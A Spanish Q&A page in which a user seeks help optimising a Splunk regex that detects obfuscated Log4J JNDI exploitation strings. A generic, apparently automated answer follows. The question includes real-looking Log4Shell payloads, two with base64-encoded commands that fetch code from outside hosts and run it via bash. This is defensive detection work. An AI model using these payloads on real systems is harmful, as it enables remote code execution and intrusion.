es.davy.ai

Preguntas y respuestas de programación confiables

¿Tienes una pregunta?

Si tienes alguna pregunta, puedes hacerla a continuación o ingresar lo que estás buscando.

Ayúdame a mejorar esta expresión regular de Log4J que identifica posibles fuentes maliciosas.

Estoy tratando de usar esta expresión regular para extraer IPs o URLs maliciosas de intentos de explotación de Log4J usando el SIEM (Gestión de Eventos de Incidentes de Seguridad) “Splunk”. El problema es que estoy alcanzando los límites de la expresión regular en Splunk. He intentado mejorarlo en regex101.

Esta expresión regular funciona bien hasta ahora, pero me estoy quedando sin memoria en “Splunk”.

Recuento de pasos de la expresión regular: ~2000

Requisitos de la expresión regular:

  • Detecta intentos de explotación de log4j ofuscados
  • Extrae la IP o URL maliciosa que el atacante quiere consultar
Expresión regular utilizada hasta ahora
(\$|%24)(\{|%7B)([^jJ][jJ])([^nN][nN])([^dD][dD])([^iI][iI])(:|%3A|\$|%24|}|%7D)(?.?)((:|%3A)?)(\/\/|%2F%2F)(((?(\d{1,3}(?:\.\d{1,3}){3}))(?:(.?)))|(?((([\=\.\$\_\:\{\}]?)|(%24)|(%7B)|(%7D))?[\w\d\.]+?[\.\/\:\=]?)+))((%7D|\}){1})
Ejemplos de Log4J
${jndi:ldap://${hostName}.c6qgldh5g22l07bu1lvgcg4ukyyygg3tw.example.com/a}
$%7Bjndi:ldap://161.104.129.3:1389/Exploit%7D
${jndi:ldaps://probe001.log4j.example.net:9200/b}
${jndi:ldap://161.104.129.3:12344/Basic/Command/Base64/KN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8zNC4yMTUuNDguMTA2OjQ0M3x8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC8zNC4yMTUuNDguMTA2OjQ0Myl8YmFzaA==}
$%7Bjndi:ldap://$%7BhostName%7D_solr.c78v36tibg0r9p1hgukgc8e9jaaydcyag.ns1.exploitexample.com%7D
%24%7B%24%7B%3A%3Aj%7Dndi%3Armi%3A%2F%2F161.104.129.3%3A1389%2FBinary%7D
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://161.104.129.3:1389/Binary}
${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-://}161.104.129.3:1389/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMi41OC4xNDkuMjA2L3N0YXI7IGN1cmwgLU8gaHR0cDovLzIuNTguMTQ5LjIwNi9yc3RhcjsgY2htb2QgNzc3IHN0YXI7IC4vc3RhciBleHBsb2l0}

Espero aprender de los maestros de las expresiones regulares o de cualquier persona que tenga algún aporte sobre esto 🙂

Tags:  , ,

Answer

  1. Avatar for davy.ai

    Parece que la expresión regular actual utilizada para detectar intentos de explotación obfuscated de Log4J y extraer la IP o URL maliciosa está causando problemas de memoria en Splunk debido al alto número de pasos involucrados. Una solución podría ser simplificar y optimizar la expresión regular dividiéndola en partes más pequeñas y eficientes.

    Otro enfoque podría ser preprocesar los datos de registro antes de ejecutar la expresión regular en Splunk, por ejemplo, utilizando un script para extraer y formatear la información relevante en un archivo o base de datos separados. Esto podría reducir la carga de trabajo para Splunk y permitir resultados más rápidos y precisos.

    También vale la pena considerar si hay otras herramientas o tecnologías que puedan ser más adecuadas para esta tarea, como software especializado de seguridad o servicios de detección de amenazas basados en la nube. Consultar con otros expertos en TI o profesionales de seguridad puede proporcionar ideas valiosas y recomendaciones.

Comments are closed.